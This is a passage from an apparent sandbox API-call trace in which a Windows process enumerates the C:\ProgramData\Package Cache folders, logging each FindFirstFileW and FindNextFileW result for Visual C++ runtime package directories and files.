cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0072.784] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0072.785] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0072.785] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0072.785] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0072.785] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0072.785] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0072.785] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0072.785] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0072.785] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0072.786] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0072.786] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0072.786] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0072.786] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0072.786] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0072.786] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0072.786] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0072.787] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0072.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0072.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.788] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpFilePart=0x0) returned 0x4e [0072.788] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.789] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.790] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0072.790] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0072.790] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.790] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpFilePart=0x0) returned 0x4e [0072.790] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.790] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.791] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0072.791] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0072.791] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0072.791] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0072.791] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.792] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.792] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0072.792] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0072.793] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0072.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0072.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0072.793] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0072.793] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0072.793] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.793] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0072.793] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0072.793] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0072.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0072.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0072.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0072.794] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6c [0072.794] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0072.794] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.794] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0072.794] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0072.795] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0072.795] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0072.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0072.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0072.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0072.795] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package 